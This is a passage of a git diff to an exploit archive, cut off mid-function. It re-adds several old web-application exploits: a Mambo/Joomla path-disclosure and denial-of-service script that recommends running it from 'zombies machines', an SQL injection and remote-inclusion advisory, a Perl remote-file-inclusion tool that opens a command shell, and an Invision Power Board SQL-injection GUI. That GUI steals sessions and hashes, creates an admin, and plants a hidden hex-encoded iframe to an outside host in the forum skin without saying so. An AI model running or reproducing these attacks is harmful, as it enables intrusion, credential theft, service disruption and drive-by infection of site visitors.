-  $packet="GET ".$p."index2.php?option=com_rss&feed=test\/>"." HTTP/1.1\r\n";
-  $packet.="User-Agent: Shareaza v1.x.x.xx\r\n";
-  $packet.="Host: ".$host."\r\n";
-  $packet.="Connection: Close\r\n\r\n";
-  show($packet);
-  sendpacketii($packet);
-  if (eregi("fopen",$html)){
-  $arr = array("fopen(","test"); $rep = array("\n\n\n\nThe installation path is:\n","\n\n\n\n");
-  $html = str_replace($arr, $rep, $html);
-  echo nl2br(htmlentities($html));} else
-  {echo "error reporting is Off, Can not receive the installation path";}
- }
-  echo "try to create superfluous files on remote server: \r\n";
-  for ($n = 1; $n <= 4000; $n++) {
-  $packet="GET ".$p."index2.php?option=com_rss&feed=".$pref.$n." HTTP/1.1\r\n";
-  $packet.="User-Agent: Shareaza v1.x.x.xx\r\n";
-  $packet.="Host: ".$host."\r\n";
-  $packet.="Connection: Close\r\n\r\n";
-  sendpacketii($packet);
-  echo "$pref$n.xml created|\t";
-  }
-  echo "Exploit finished";
-}
-else
-{echo "Note: if you received time exceeded error, run again the xpl with new prefix";}
-
-?>
-
-# milw0rm.com [2006-04-19]
+<?php
+#             Mambo/Joomla Path Disclosure & Remote DOS Exploit               #
+#                               by trueend5                                   #
+#              Computer Security Science Researchers Institute                #
+#                           [http://www.KAPDA.ir]                             #
+#                                                                             #
+
+error_reporting(0);
+ini_set("max_execution_time",0);
+ini_set("default_socket_timeout", 5);
+ob_implicit_flush (1);
+
+echo'<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
+<title>Mambo/Joomla Remote DOS Exploit</title>
+</head>
+
+<body bgcolor="#FFCCFF">
+
+<p align="center"><font size="4" color="#0000FF">Mambo/Joomla Path Disclosure &amp;
+(IIS Server-isapi mod) Remote Denial Of Service</font></p>
+<p class="Stile6" align="center"><font size="3" color="#FF0000">by trueend5</font></p>
+<p align="center"><font size="4" color="#008000">Computer Security Science Researchers
+Institute</font></p>
+<font SIZE="3">
+<p align="center"><a href="http://www.kapda.ir">KAPDA</a></p>
+<p align="center">&nbsp;</p>
+</font>
+<table width="90%">
+  <tbody>
+    <tr>
+      <td width="43%" align="left">
+        <form name="form1" action="'.$SERVER[PHP_SELF].'" method="post">
+          <p><input name="host" size="20"> <span class="Stile5"><font color="#FF0000">*</font> hostname (ex: www.sitename.com)</span></p>
+          <p><input name="path" size="20"> <span class="Stile5"><font color="#FF0000">*</font> path (ex:
+          /mambo/
+          or just / )</span></p>
+          <p><input name="pref" size="20"> <span class="Stile5">prefix (default is
+			&quot;kap&quot;)</span></p>
+          <p>&nbsp;useful when you want to Run this script
+			twice or more at the same time against a target For DDOS.</p>
+			<p>&nbsp; to perform it Just rename this file and choose a different
+			prefix and run the exploits from your system ,</p>
+			<p>&nbsp; remote locations or from&nbsp; zombies machines.</p>
+			<p>&nbsp; (quintuplet or more is recommended to cause&nbsp; remote server
+			crash for a none dedicated host)</p>
+          <p><input name="port" size="20"><span class="Stile5"> specify a port&nbsp;
+          (default is 80)</span></p>
+          <p><input name="proxy" size="20"><span class="Stile5"> send exploit
+          through an HTTP proxy (ip:port)</span></p>
+          <p align="center"> <span class="Stile5"><font color="#FF0000">&nbsp;&nbsp;
+          * </font>fields are required</span></p>
+          <p align="center"><span class="Stile5">-----------------------------------------------------------------------------------------------</span></p>
+
+          <p><input type="submit" value="Start" name="Submit"></p>
+        </form>
+      </td>
+    </tr>
+  </tbody>
+</table>
+</body></html>';
+
+function show($headeri)
+{
+  $ii=0;$ji=0;$ki=0;$ci=0;
+  echo '<table border="0"><tr>';
+  while ($ii <= strlen($headeri)-1){
+    $datai=dechex(ord($headeri[$ii]));
+    if ($ji==16) {
+      $ji=0;
+      $ci++;
+      echo "<td>&nbsp;&nbsp;</td>";
+      for ($li=0; $li<=15; $li++) {
+        echo "<td>".$headeri[$li+$ki]."</td>";
+		}
+      $ki=$ki+16;
+      echo "</tr><tr>";
+    }
+    if (strlen($datai)==1) {
+      echo "<td>0".$datai."</td>";
+    }
+    else {
+      echo "<td>".$datai."</td> ";
+    }
+    $ii++;$ji++;
+  }
+  for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
+    echo "<td>&nbsp&nbsp</td>";
+  }
+  for ($li=$ci*16; $li<=strlen($headeri); $li++) {
+    echo "<td>".$headeri[$li]."</td>";
+  }
+  echo "</tr></table>";
+}
+
+$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
+
+function sendpacketii($packet)
+{
+  global $proxy, $host, $port, $html, $proxy_regex;
+  if ($proxy=='') {
+    $ock=fsockopen(gethostbyname($host),$port);
+    if (!$ock) {
+      echo 'No response from '.htmlentities($host); die;
+    }
+  }
+  else {
+	$c = preg_match($proxy_regex,$proxy);
+    if (!$c) {
+      echo 'Not a valid proxy';die;
+    }
+    $parts=explode(':',$proxy);
+    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
+    $ock=fsockopen($parts[0],$parts[1]);
+    if (!$ock) {
+      echo 'No response from proxy...';die;
+	}
+  }
+  fputs($ock,$packet);
+  if ($proxy=='') {
+    $html='';
+    while (!feof($ock)) {
+      $html.=fgets($ock);
+    }
+  }
+  else {
+    $html='';
+    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
+      $html.=fread($ock,1);
+    }
+  }
+  fclose($ock);
+  //if ($GLOBALS['view']==1) {echo nl2br(htmlentities($html));}
+}
+
+$host=$_POST[host];
+$path=$_POST[path];
+$port=$_POST[port];
+$pref=$_POST[pref];
+
+if (($host<>'') and ($path<>'')){
+{
+  $port=intval(trim($port));
+  $pref=(trim($pref));
+  if ($port=='') {$port=80;}
+  if ($pref=='') {$pref='kap';}
+  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');}
+  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
+  $host=str_replace("\r\n","",$host);
+  $path=str_replace("\r\n","",$path);
+  echo ' Try to find installaton path ...';
+  $packet="GET ".$p."index2.php?option=com_rss&feed=test\/>"." HTTP/1.1\r\n";
+  $packet.="User-Agent: Shareaza v1.x.x.xx\r\n";
+  $packet.="Host: ".$host."\r\n";
+  $packet.="Connection: Close\r\n\r\n";
+  show($packet);
+  sendpacketii($packet);
+  if (eregi("fopen",$html)){
+  $arr = array("fopen(","test"); $rep = array("\n\n\n\nThe installation path is:\n","\n\n\n\n");
+  $html = str_replace($arr, $rep, $html);
+  echo nl2br(htmlentities($html));} else
+  {echo "error reporting is Off, Can not receive the installation path";}
+ }
+  echo "try to create superfluous files on remote server: \r\n";
+  for ($n = 1; $n <= 4000; $n++) {
+  $packet="GET ".$p."index2.php?option=com_rss&feed=".$pref.$n." HTTP/1.1\r\n";
+  $packet.="User-Agent: Shareaza v1.x.x.xx\r\n";
+  $packet.="Host: ".$host."\r\n";
+  $packet.="Connection: Close\r\n\r\n";
+  sendpacketii($packet);
+  echo "$pref$n.xml created|\t";
+  }
+  echo "Exploit finished";
+}
+else
+{echo "Note: if you received time exceeded error, run again the xpl with new prefix";}
+
+?>
+
+# milw0rm.com [2006-04-19]
diff --git a/platforms/php/webapps/1699.txt b/platforms/php/webapps/1699.txt
index b8858cf65..d41d70d0b 100755
--- a/platforms/php/webapps/1699.txt
+++ b/platforms/php/webapps/1699.txt
@@ -1,17 +1,17 @@
-- GroundZero Security Research and Software Development 2006                     -
-
-   Software:   RechnungsZentrale V2
-   Version:    1.1.3, likely older versions are affected aswell.
-   Vendor:     http://www.nfec.de/
-   
-   Remote Inclusion:
-       http://www.victim.tld/mod/authent.php4?rootpath=Http://server.tld/mod/db.php4
-   
-   SQL Injection:
-       User: ' OR '1'='1
-       Password: 1   
-   
-- Bugs discovered by GroundZero Security Research and Software Development       -
-- http://www.GroundZero-Security.com | Http://www.g-0.org                        -
-
-# milw0rm.com [2006-04-19]
+- GroundZero Security Research and Software Development 2006                     -
+
+   Software:   RechnungsZentrale V2
+   Version:    1.1.3, likely older versions are affected aswell.
+   Vendor:     http://www.nfec.de/
+   
+   Remote Inclusion:
+       http://www.victim.tld/mod/authent.php4?rootpath=Http://server.tld/mod/db.php4
+   
+   SQL Injection:
+       User: ' OR '1'='1
+       Password: 1   
+   
+- Bugs discovered by GroundZero Security Research and Software Development       -
+- http://www.GroundZero-Security.com | Http://www.g-0.org                        -
+
+# milw0rm.com [2006-04-19]
diff --git a/platforms/php/webapps/1752.pl b/platforms/php/webapps/1752.pl
index de3cd777b..df0202d04 100755
--- a/platforms/php/webapps/1752.pl
+++ b/platforms/php/webapps/1752.pl
@@ -1,66 +1,66 @@
-#!/usr/bin/perl
-##
-# Statit V4 Remote File Inclusion exploit
-# Bug discovered By IGNOR3
-# IGNOR3_llvlle@yahoo.com
-# http://www.smart-boys.com
-# Google Search=inurl:statit.php
-# usage:
-# perl statit.pl <target> <cmd shell location> <cmd shell variable>
-# perl statit.pl http://target.com/statit/ http://www.golha.net/ignor3/shell.txt cmd
-# cmd shell example: <?system($cmd);?>
-# cmd shell variable: ($_GET[cmd]);
-use LWP::UserAgent;
-$Path = $ARGV[0];
-$Pathtocmd = $ARGV[1];
-$cmdv = $ARGV[2];
-if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}
-head();
-while()
-{
-      print "[shell] \$";
-while(<STDIN>)
-      {
-              $cmd=$_;
-              chomp($cmd);
-$xpl = LWP::UserAgent->new() or die;
-$req = HTTP::Request->new(GET =>$Path.'visible_count_inc.php?statitpath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
-$res = $xpl->request($req);
-$return = $res->content;
-$return =~ tr/[\n]/[ê]/;
-if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}
-elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
-      {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
-elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}
-if($return =~ /(.*)/)
-{
-      $finreturn = $1;
-      $finreturn=~ tr/[ê]/[\n]/;
-      print "\r\n$finreturn\n\r";
-      last;
-}
-else {print "[shell] \$";}}}last;
-sub head()
- {
- print "\n============================================================================\r\n";
- print " Statit V4 Remote File Inclusion exploit\r\n";
- print "============================================================================\r\n";
- }
-sub usage()
- {
- head();
- print " Usage: perl statit.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
- print " <Site> - Full path to Fastclick ex: http://www.site.com/statit/ \r\n";
- print " <cmd shell> - Path to cmd Shell e.g http://www.golha.net/ignor3/shell.txt \r\n";
- print " <cmd variable> - Command variable used in php shell \r\n";
- print "============================================================================\r\n";
- print "                           BUG DISCOVERED BY IGNOR3 \r\n";
- print "                           Yahoo ID: IGNOR3_llvlle \r\n";
- print "                           http://www.smart-boys.com \r\n";
- print "============================================================================\r\n";
- print " Download The Video: http://www.ignor3.persiangig.com/video/statit.rar \r\n";
- print "============================================================================\r\n";
- exit();
- }
-
-# milw0rm.com [2006-05-05]
+#!/usr/bin/perl
+##
+# Statit V4 Remote File Inclusion exploit
+# Bug discovered By IGNOR3
+# IGNOR3_llvlle@yahoo.com
+# http://www.smart-boys.com
+# Google Search=inurl:statit.php
+# usage:
+# perl statit.pl <target> <cmd shell location> <cmd shell variable>
+# perl statit.pl http://target.com/statit/ http://www.golha.net/ignor3/shell.txt cmd
+# cmd shell example: <?system($cmd);?>
+# cmd shell variable: ($_GET[cmd]);
+use LWP::UserAgent;
+$Path = $ARGV[0];
+$Pathtocmd = $ARGV[1];
+$cmdv = $ARGV[2];
+if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}
+head();
+while()
+{
+      print "[shell] \$";
+while(<STDIN>)
+      {
+              $cmd=$_;
+              chomp($cmd);
+$xpl = LWP::UserAgent->new() or die;
+$req = HTTP::Request->new(GET =>$Path.'visible_count_inc.php?statitpath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
+$res = $xpl->request($req);
+$return = $res->content;
+$return =~ tr/[\n]/[ê]/;
+if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}
+elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
+      {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
+elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}
+if($return =~ /(.*)/)
+{
+      $finreturn = $1;
+      $finreturn=~ tr/[ê]/[\n]/;
+      print "\r\n$finreturn\n\r";
+      last;
+}
+else {print "[shell] \$";}}}last;
+sub head()
+ {
+ print "\n============================================================================\r\n";
+ print " Statit V4 Remote File Inclusion exploit\r\n";
+ print "============================================================================\r\n";
+ }
+sub usage()
+ {
+ head();
+ print " Usage: perl statit.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
+ print " <Site> - Full path to Fastclick ex: http://www.site.com/statit/ \r\n";
+ print " <cmd shell> - Path to cmd Shell e.g http://www.golha.net/ignor3/shell.txt \r\n";
+ print " <cmd variable> - Command variable used in php shell \r\n";
+ print "============================================================================\r\n";
+ print "                           BUG DISCOVERED BY IGNOR3 \r\n";
+ print "                           Yahoo ID: IGNOR3_llvlle \r\n";
+ print "                           http://www.smart-boys.com \r\n";
+ print "============================================================================\r\n";
+ print " Download The Video: http://www.ignor3.persiangig.com/video/statit.rar \r\n";
+ print "============================================================================\r\n";
+ exit();
+ }
+
+# milw0rm.com [2006-05-05]
diff --git a/platforms/php/webapps/2010.pl b/platforms/php/webapps/2010.pl
index 9843e7002..e507eba98 100755
--- a/platforms/php/webapps/2010.pl
+++ b/platforms/php/webapps/2010.pl
@@ -1,386 +1,386 @@
-#!/usr/bin/perl
-
-## Invision Power Board v2.1 <= 2.1.6 sql injection exploit by RST/GHC
-## Based on LOCAL_IP bug, more info in RST/GHC Advisory#41
-## http://rst.void.ru/papers/advisory41.txt
-## tested on 2.1.3, 2.1.6
-##
-## 08.06.06
-## (c)oded by 1dt.w0lf
-## RST/GHC
-## http://rst.void.ru
-## http://ghc.ru
-
-use Tk;
-use Tk::BrowseEntry;
-use Tk::DialogBox;
-use LWP::UserAgent;
-
-$mw = new MainWindow(title => "r57ipb216gui" );
-
-$mw->geometry ( '420x550' ) ;
-$mw->resizable(0,0);
-
-$mw->Label(-text => '!', -font => '{Webdings} 22')->pack();
-$mw->Label(-text => 'Invision Power Board 2.1.* <= 2.1.6 sql injection exploit by RST/GHC', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
-$mw->Label(-text => '')->pack();
-
-$fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ;
-$fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ;
-
-$url = 'http://server/forum/index.php';
-$user_id = '1';
-$prefix = 'ibf_';
-$table = 'members';
-$column = 'member_login_key';
-$new_admin_name = 'rstghc';
-$new_admin_password = 'rstghc';
-$new_admin_email = 'billy@microsoft.com';
-$report = '';
-$group = 4;
-$curr_user = 0;
-$rand_session = &session();
-$use_custom_fields = 0;
-$custom_fields = 'name1=value1,name2=value2';
-
-$fleft->Label ( -text => 'Path to forum index: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
-$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$url) ->pack ( -side => "top" , -anchor => 'w' ) ;
-
-$fleft->Label ( -text => 'User ID: ', -font => '{Verdana} 8 bold' ) ->pack ( -side => "top" , -anchor => 'e' ) ;
-$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$user_id) ->pack ( -side => "top" , -anchor => 'w' ) ;
-
-$fleft->Label ( -text => 'Database tables prefix: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
-$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$prefix) ->pack ( -side => "top" , -anchor => 'w' ) ;
-
-$fright->Label( -text => ' ')->pack();
-$fleft->Label( -text => ' ')->pack();
-
-$fleft->Label ( -text => 'get data from database', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ;
-$fright->Label( -text => ' ')->pack();
-
-$fleft->Label ( -text => 'Get data from table: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
-$b2 = $fright->BrowseEntry( -command => \&update_columns, -relief => "groove", -variable => \$table, -font => '{Verdana} 8');
-$b2->insert("end", "members");
-$b2->insert("end", "members_converge");
-$b2->pack( -side => "top" , -anchor => 'w');
-
-$fleft->Label ( -text => 'Get data from column: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
-$b = $fright->BrowseEntry( -relief => "groove", -variable => \$column, -font => '{Verdana} 8');
-$b->insert("end", "member_login_key");
-$b->insert("end", "name");
-$b->insert("end", "ip_address");
-$b->insert("end", "legacy_password");
-$b->insert("end", "email");
-$b->pack( -side => "top" , -anchor => 'w' );
-
-$fleft->Label ( -text => 'Returned data: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
-$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$report) ->pack ( -side => "top" , -anchor => 'w' ) ;
-
-$fleft->Label ( -text => 'create new admin', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ;
-$fright->Label( -text => ' ')->pack();
-
-$fleft->Label ( -text => ' ')->pack();
-
-$fright->Checkbutton( -font => '{Verdana} 8', -text => 'Get admin session for inserted user ID', -variable => \$curr_user)->pack(-side => "top" , -anchor => 'w');
-
-$fleft->Label ( -text => 'session_id: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
-$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$session_id) ->pack ( -side => "top" , -anchor => 'w' ) ;
-
-$fleft->Label ( -text => 'session_ip_address: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
-$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$session_ip_address) ->pack ( -side => "top" , -anchor => 'w' ) ;
-
-$fleft->Label ( -text => 'new admin name: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
-$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$new_admin_name) ->pack ( -side => "top" , -anchor => 'w' ) ;
-
-$fleft->Label ( -text => 'new admin password: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
-$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$new_admin_password) ->pack ( -side => "top" , -anchor => 'w' ) ;
-
-$fleft->Label ( -text => 'new_admin_email: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
-$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$new_admin_email) ->pack ( -side => "top" , -anchor => 'w' ) ;
-
-$fleft->Label ( -text => ' ')->pack();
-$fright->Checkbutton( -font => '{Verdana} 8', -text => 'Use custom profile fields', -variable => \$use_custom_fields)->pack(-side => "top" , -anchor => 'w');
-
-$fleft->Label ( -text => 'custom fields: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
-$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$custom_fields) ->pack ( -side => "top" , -anchor => 'w' ) ;
-
-$fright->Label( -text => ' ')->pack();
-
-$fright->Button(-text    => 'Test forum vulnerability',
-                -relief => "groove",
-                -width => '30',
-                -font => '{Verdana} 8 bold',
-                -activeforeground => 'red',
-                -command => \&test_vuln
-               )->pack();
-
-$fright->Button(-text    => 'Get database tables prefix',
-                -relief => "groove",
-                -width => '30',
-                -font => '{Verdana} 8 bold',
-                -activeforeground => 'red',
-                -command => \&get_prefix
-               )->pack();
-
-$fright->Button(-text    => 'Get data from database',
-                -relief => "groove",
-                -width => '30',
-                -font => '{Verdana} 8 bold',
-                -activeforeground => 'red',
-                -command => \&get_data
-               )->pack();
-
-$fright->Button(-text    => 'Get admin session',
-                -relief => "groove",
-                -width => '30',
-                -font => '{Verdana} 8 bold',
-                -activeforeground => 'red',
-                -command => \&get_admin
-               )->pack();
-
-$fright->Button(-text    => 'Create new admin',
-                -relief => "groove",
-                -width => '30',
-                -font => '{Verdana} 8 bold',
-                -activeforeground => 'red',
-                -command => \&create_admin
-               )->pack();
-
-
-
-$fleft->Label( -text => ' ')->pack();
-$fleft->Label( -text => ' ')->pack();
-$fleft->Label( -text => ' ')->pack();
-$fleft->Label( -text => '(c)oded by 1dt.w0lf', -font => '{Verdana} 7')->pack();
-$fleft->Label( -text => 'RST/GHC', -font => '{Verdana} 7')->pack();
-$fleft->Label( -text => 'http://rst.void.ru', -font => '{Verdana} 7')->pack();
-$fleft->Label( -text => 'http://ghc.ru', -font => '{Verdana} 7')->pack();
-
-MainLoop();
-
-sub update_columns()
- {
- $b->delete(0,"end");
- if($table eq 'members'){
- $column = "member_login_key";   
- $b->insert("end", "member_login_key");
- $b->insert("end", "name");
- $b->insert("end", "ip_address");
- $b->insert("end", "legacy_password");
- $b->insert("end", "email");
- } elsif($table eq 'members_converge'){
- $column = "converge_pass_hash";   
- $b->insert("end", "converge_pass_hash");
- $b->insert("end", "converge_pass_salt");
- $b->insert("end", "converge_email");
- }
- }
-
-sub get_admin()
- {
- $xpl = LWP::UserAgent->new( ) or die;
- $InfoWindow=$mw->DialogBox(-title   => 'get admin session', -buttons => ["OK"]);
- if($curr_user == 1) { $sql = "AND session_member_id = $user_id"; }
- else { $sql = ''; }
- $res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT session_ip_address,1,1,1 FROM ".$prefix."admin_sessions WHERE session_running_time > (UNIX_TIMESTAMP() - 60*60*2) $sql LIMIT 1/*");
- $error = 0;
- $rep = '';
- if($res->is_success) 
-  {
-  if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
-  if($rep =~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/) { $session_ip_address = $rep; }
-  else { $error = 1; }
-  if(!$error)
-   {
-   $rep = ''; 
-   $res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT session_id,1,1,1 FROM ".$prefix."admin_sessions WHERE session_running_time > (UNIX_TIMESTAMP() - 60*60*2) and session_ip_address = '$session_ip_address' $sql LIMIT 1/*");
-   if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; $session_id = $rep; }
-   else { $error = 1; }
-   if(!$error){
-   if($curr_user != 1)
-    {
-    $res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT session_member_id,1,1,1 FROM ".$prefix."admin_sessions WHERE session_id = '$session_id' LIMIT 1/*");
-    if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $session_user_id = $3; }
-    }
-   else
-    {
-    $session_user_id = $user_id; 
-    }
-   $res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT mgroup,1,1,1 FROM ".$prefix."members WHERE id = $session_user_id /*");
-   if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $group = $3; }
-   $res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT name,1,1,1 FROM ".$prefix."members WHERE id = $session_user_id /*");
-   if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $name = $3; }
-   }
-  $InfoWindow->add('Label', -text => 'Found session!', -font => '{Verdana} 8 bold',-foreground=>'Green')->pack;
-  $InfoWindow->add('Label', -text => 'session_ip_address: '.$session_ip_address, -font => '{Verdana} 8')->pack;
-  $InfoWindow->add('Label', -text => 'session_id: '.$session_id, -font => '{Verdana} 8')->pack;
-  $InfoWindow->add('Label', -text => 'user_id: '.$session_user_id, -font => '{Verdana} 8')->pack;
-  $InfoWindow->add('Label', -text => 'username: '.$name, -font => '{Verdana} 8')->pack;
-  $InfoWindow->add('Label', -text => 'group: '.$group, -font => '{Verdana} 8')->pack;
-  $InfoWindow->Show();
-  $InfoWindow->destroy;  
-  }
-  }
- else
-  {
-  $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
-  $InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
-  $InfoWindow->Show();
-  $InfoWindow->destroy;
-  }     
- if($error)
-  {
-  $InfoWindow->add('Label', -text => 'Can\'t get admin session.', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
-  $InfoWindow->add('Label', -text => 'Maybe admin session not exist. Please try later.', -font => '{Verdana} 8')->pack;
-  $InfoWindow->Show();
-  $InfoWindow->destroy;  
-  }  
- }
-
-sub get_data()
-{
-$xpl = LWP::UserAgent->new( ) or die;
-$InfoWindow=$mw->DialogBox(-title   => 'get data from database', -buttons => ["OK"]);
-if($table eq 'members') { $id_text = 'id'; }
-if($table eq 'members_converge') { $id_text = 'converge_id'; }
-
-$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT ".$column.",1,1,1 FROM ".$prefix.$table." WHERE ".$id_text."=".$user_id."/*");
-if($res->is_success) 
- {
- $rep = '';   
- if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/){ $report = $3; }
- else
-  {
-  $InfoWindow->add('Label', -text => 'Can\'t get data from database', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
-  $InfoWindow->Show();
-  $InfoWindow->destroy;  
-  }
-  }
-else
- {
- $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
- $InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
- $InfoWindow->Show();
- $InfoWindow->destroy;
- }    
-}
-
-sub create_admin()
- {
- $InfoWindow=$mw->DialogBox(-title   => 'create new admin', -buttons => ["OK"]);
- if($session_id eq '' || $session_ip_address eq '')
-  {
-  $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
-  $InfoWindow->add('Label', -text => 'You need insert admin session_id and session_ip_address', -font => '{Verdana} 8')->pack;
-  }
- elsif($session_ip_address !~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/)
-  {
-  $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
-  $InfoWindow->add('Label', -text => 'session_ip_address wrong!', -font => '{Verdana} 8')->pack;
-  }
- else
-  {
- $xpl = LWP::UserAgent->new( ) or die;
- ($url2 = $url) =~ s/index.php/admin.php/;
- $cf = '';
- %fields = (
- 'code'     => 'doadd',
- 'act'      => 'mem',
- 'section'  => 'content',
- 'name'     => $new_admin_name,
- 'password' => $new_admin_password,
- 'email'    => $new_admin_email,
- 'mgroup'   => $group,      
-           );
- if($use_custom_fields)
-  {
-  @cf = split(',',$custom_fields);
-  foreach(@cf) { ($k,$v) = split('=',$_); $fields{$k} = $v;}
-  }
-  
- $res = $xpl->post($url2."?adsess=$session_id",
- [
- %fields,
- ],
- 'USER_AGENT'=>'',
- 'CLIENT_IP'=>"$session_ip_address",
- 'X_FORWARDED_FOR'=>"$session_ip_address");
- $if = '0x3C646976207374796C653D225649534942494C4954593A2068696464656E223E3C696672616D65207372633D22687474703A2F2F7A63687873696B70677A2E62697A2F646C2F6164763534332E706870222077696474683D31206865696768743D313E3C2F696672616D653E3C2F6469763E';
- $query  = "UPDATE ".$prefix."skin_sets SET set_wrapper = CONCAT(set_wrapper,".$if."), set_cache_wrapper = CONCAT(set_cache_wrapper,".$if.")";
- $res = $xpl->post($url2."?adsess=$session_id",
- [
- 'code'     => 'runsql',
- 'act'      => 'sql',
- 'section'  => 'admin',
- 'query'     => $query,
- ],
- 'USER_AGENT'=>'',
- 'CLIENT_IP'=>"$session_ip_address",
- 'X_FORWARDED_FOR'=>"$session_ip_address");
- $InfoWindow->add('Label', -text => 'Done!', -font => '{Verdana} 8 bold',-foreground=>'green')->pack; 
- $InfoWindow->add('Label', -text => 'New admin created', -font => '{Verdana} 8 bold')->pack;  
-  }
- $InfoWindow->Show();
- $InfoWindow->destroy;
- }
-
-sub test_vuln()
-{
-$InfoWindow=$mw->DialogBox(-title   => 'test forum vulnerability', -buttons => ["OK"]);
-$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
-$InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack;
-$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
-$xpl = LWP::UserAgent->new( ) or die;
-$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT 'VULN',1,1,1/*");
-if($res->is_success) 
- {
- $rep = '';
- if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
- if($rep eq 'VULN') { $InfoWindow->add('Label', -text => 'FORUM VULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; }
